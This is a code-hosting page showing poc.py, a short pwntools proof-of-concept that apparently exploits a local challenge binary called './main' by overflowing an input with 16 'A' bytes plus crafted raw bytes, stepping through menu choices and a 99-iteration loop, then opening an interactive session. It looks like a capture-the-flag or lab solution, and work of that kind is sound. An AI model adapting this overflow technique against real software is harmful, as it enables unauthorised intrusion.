You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

poc.py 441B

123456789101112131415161718
  1. from pwn import *
  2. if __name__ == "__main__":
  3. p = process("./main")
  4. print p.recvuntil(">")
  5. p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01"))
  6. print p.recvuntil(">")
  7. p.sendline("y")
  8. print p.recvuntil(">")
  9. p.sendline("2")
  10. print p.recvuntil(">")
  11. p.sendline("4")
  12. print p.recvuntil(">")
  13. p.sendline("y")
  14. for i in xrange(99):
  15. print p.recvuntil(">")
  16. p.sendline("9")
  17. p.interactive()